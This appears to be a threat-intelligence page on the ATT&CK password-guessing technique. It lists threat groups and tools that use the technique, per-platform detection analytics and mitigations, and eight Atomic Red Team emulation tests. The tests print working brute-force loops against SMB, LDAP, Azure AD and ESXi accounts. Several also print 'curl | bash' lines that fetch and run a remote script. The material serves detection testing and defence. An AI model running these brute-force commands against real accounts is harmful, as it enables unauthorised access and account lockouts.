VOID MANTICOREG1055 ↗
Has conducted password guessing to gain initial access.1
- Tactic
- Credential Access
- Platforms
- Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows
- Version
- 1.7
- Created
- 11 February 2020
- Last modified
- 12 May 2026
- Contributors
- Microsoft Threat Intelligence Center (MSTIC); Mohamed Kmal
Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
3
Threat groups64th pct
Threat groups64th percentile · 64% of ATT&CK techniques have this many threat groups attributed or fewer.0
CampaignsNone recorded
CampaignsNone recorded · 54% of ATT&CK techniques have none either.9
Tools & malware73rd pct
Tools & malware73rd percentile · 73% of ATT&CK techniques have this many tools implementing them or fewer.14
Detection rulesTop 18%
Detection rules82nd percentile · 82% of ATT&CK techniques have this many detection rules written or fewer.Password Guessing MITRE reference T1110.001
64th pctamong all ATT&CK techniques for number of groups
3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
APT29G0016 ↗
Has successfully conducted password guessing attacks against a list of mailboxes.1
APT28G0007 ↗
Has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days.1 APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.2
All 3 groups for this technique
9 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
HermeticWizardS0698 ↗
Can use a list of hardcoded credentials in attempt to authenticate to SMB shares.1
P.A.S. WebshellS0598 ↗
Can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services.1
LuciferS0532 ↗
Has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and passwords.1
CrackMapExecS0488 ↗
Can brute force passwords for a specified user on a single target system or across an entire network.1
PonyS0453 ↗
Has used a small dictionary of common passwords against a collected list of local accounts.1
SpeakUpS0374 ↗
Can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels. 1
All 9 software entries for this technique · 6 newest in this preview
Offense vs defense T1110.001
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 0Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 11
first rule: 2020 Q2Password Guessing detection strategy DET0551
MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Password Guessing via Multi-Source Authentication Failure Correlation
6 platforms
AN1521 · Windows
Series of authentication failures (Event ID 4625) targeting the same or similar user accounts over time from one or more remote IPs
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | WinEventLog:Security | EventCode=4625 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Defines the period in which multiple failed attempts are aggregated (e.g., 10 minutes) |
| UsernamePattern | Filter for common account naming conventions, e.g., service accounts or administrator variants |
| SourceIPThreshold | Limit on unique IPs trying to authenticate against a single account |
AN1522 · Linux
Repeated failed SSH login attempts followed by a possible success from the same remote host
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | linux:syslog | sshd[pid]: Failed password |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PortScope | Can be tuned to non-standard ports if SSH is moved from default |
| UserScope | Filter high-value or restricted users (e.g., root, service) |
| AttemptThreshold | Number of consecutive failures before flagging (e.g., >5 in 2 minutes) |
AN1523 · macOS
Series of failed logins from loginwindow or sshd with repeated usernames or password prompts
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | macos:unifiedlog | authd |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AuthMechanism | Local console vs. SSH vs. remote Apple Admin tools |
| FailurePattern | Use regex to isolate brute force messages among other log noise |
AN1524 · Identity Provider
Multiple failed sign-in attempts from external sources across many users followed by success from the same IP
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | azure:signinlogs | Sign-in logs |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| GeoRiskScore | Elevate anomalies from uncommon geolocations |
| MFAStatus | Elevate logins missing MFA on high-value accounts |
AN1525 · Network Devices
Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | networkdevice:syslog | login failed |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| InterfaceType | Specify monitoring of Telnet/SSH/SNMP for login activity |
| FailedAttemptThreshold | How many failures in short succession should trigger alerting |
AN1526 · SaaS
Password guessing attempts against web-based apps (e.g., Dropbox, Google Workspace) reflected in API or sign-in logs
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | GCPAuditLogs:login.googleapis.com | Failed sign-in events |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AppContext | Which SaaS apps should be monitored for brute force attempts |
| EmailPattern | Limit scope to enterprise domains or service accounts |
Account Use PoliciesM1036
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges. Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.
Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.
Password PoliciesM1027
Refer to NIST guidelines when creating password policies.
Update SoftwareM1051
Upgrade management services to the latest supported and compatible version. Specifically, any version providing increased password complexity or policy enforcement preventing default or weak passwords.
Tests8ExecutorsPowerShell 4 · bash 3 · cmd 1Need elevation3 of 8Have prerequisites6Have cleanup3Platformswindows, azure-ad, linux
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Brute Force Credentials of single Active Directory domain users via SMB | windows | cmd | — | — | — | ||||||||||||||||||||||
Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller Input arguments
Attack command echo Password1> passwords.txt
echo 1q2w3e4r>> passwords.txt
echo Password!>> passwords.txt
echo Spring2022>> passwords.txt
echo ChangeMe!>> passwords.txt
@FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
GUIDa7d6d13d-bf36-4a5d-b72e-8e20e62ef014 | ||||||||||||||||||||||||||||
| 02 | Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos) | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos Input arguments
Attack command if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$passwordList = Get-Content -Path "#{passwords_path}"
foreach ($password in $passwordList){
$credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account #{user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] #{user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of bruteforce"
GUID917300f6-eab2-4240-a8ee-dd53f77cf93a | ||||||||||||||||||||||||||||
| 03 | Brute Force Credentials of single Azure AD user | azure-ad | PowerShell | — | 1 | — | ||||||||||||||||||||||
Attempt to brute force Azure AD user via AzureAD powershell module. Input arguments
Attack command Import-Module -Name AzureAD
$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
$PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
try {
Write-Host " [-] Attempting ${password} on account #{username}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
break
} catch {
Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
}
}
Write-Host "End of bruteforce"
Prerequisite AzureAD module must be installed. Check try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Satisfy Install-Module -Name AzureAD -Force GUID9b0ebfc7-19b2-4238-80a3-9e524144820a | ||||||||||||||||||||||||||||
| 04 | Password Brute User using Kerbrute Tool | windows | PowerShell | — | 2 | — | ||||||||||||||||||||||
Bruteforce a single user's password from a wordlist Input arguments
Attack command cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1
Prerequisite kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" Prerequisite bruteuser.txt must exist in PathToAtomicsFolder\..\ExternalPayloads Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt" GUID5f929b28-151b-4f91-84c8-8c022ffbb3af | ||||||||||||||||||||||||||||
| 05 | SUDO Brute Force - Debian | linux | bash | Required | 1 | Yes | ||||||||||||||||||||||
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user Input arguments
Attack command useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
su -c "cd /tmp; curl -s #{remote_url} | bash" art
Cleanup command userdel -fr art Prerequisite Check if running on a Debian based machine. Check if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi Satisfy apt update && apt install -y openssl sudo curl GUID26271c4f-38a3-4ce7-a830-fd44443cb113 | ||||||||||||||||||||||||||||
| 06 | SUDO Brute Force - Redhat | linux | bash | Required | 1 | Yes | ||||||||||||||||||||||
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user Input arguments
Attack command useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
su art
cd /tmp
curl -s #{remote_url} |bash
Cleanup command userdel -fr art Prerequisite Check if running on a Redhat based machine. Check if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "RedHat"; else echo "NOT RedHat"; exit 1; fi if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi Satisfy yum update && yum install -y openssl sudo curl GUID7c25f53f-6e75-4e99-a339-83da7839265e | ||||||||||||||||||||||||||||
| 07 | SUDO Brute Force - FreeBSD | linux | bash | Required | 1 | Yes | ||||||||||||||||||||||
An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user Input arguments
Attack command pw adduser art -g wheel -s /bin/sh
echo "password123" | pw usermod art -h 0
su art
cd /tmp
curl -s #{remote_url} |bash
Cleanup command rmuser -y art Prerequisite Check if running on a FreeBSD based machine. Check if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi if [ -x "$(command -v bash)" ]; then echo "bash is installed"; else echo "bash is NOT installed"; exit 1; fi Satisfy pkg update && pkg install -y sudo curl bash GUIDa634dc54-968e-441e-b713-15947670e802 | ||||||||||||||||||||||||||||
| 08 | ESXi - Brute Force Until Account Lockout | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
An adversary may attempt to brute force the password of privilleged account for privilege escalation. In the process, the TA may lock the account, which can be used for detection. Reference Input arguments
Attack command $lockout_threshold = [int]"#{lockout_threshold}"
for ($var = 1; $var -le $lockout_threshold; $var++) {
#{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
}
Prerequisite The plink executable must be found in the ExternalPayloads folder. Check if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
GUID78c3d675-fe43-477e-bfc7-2838081a8051 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition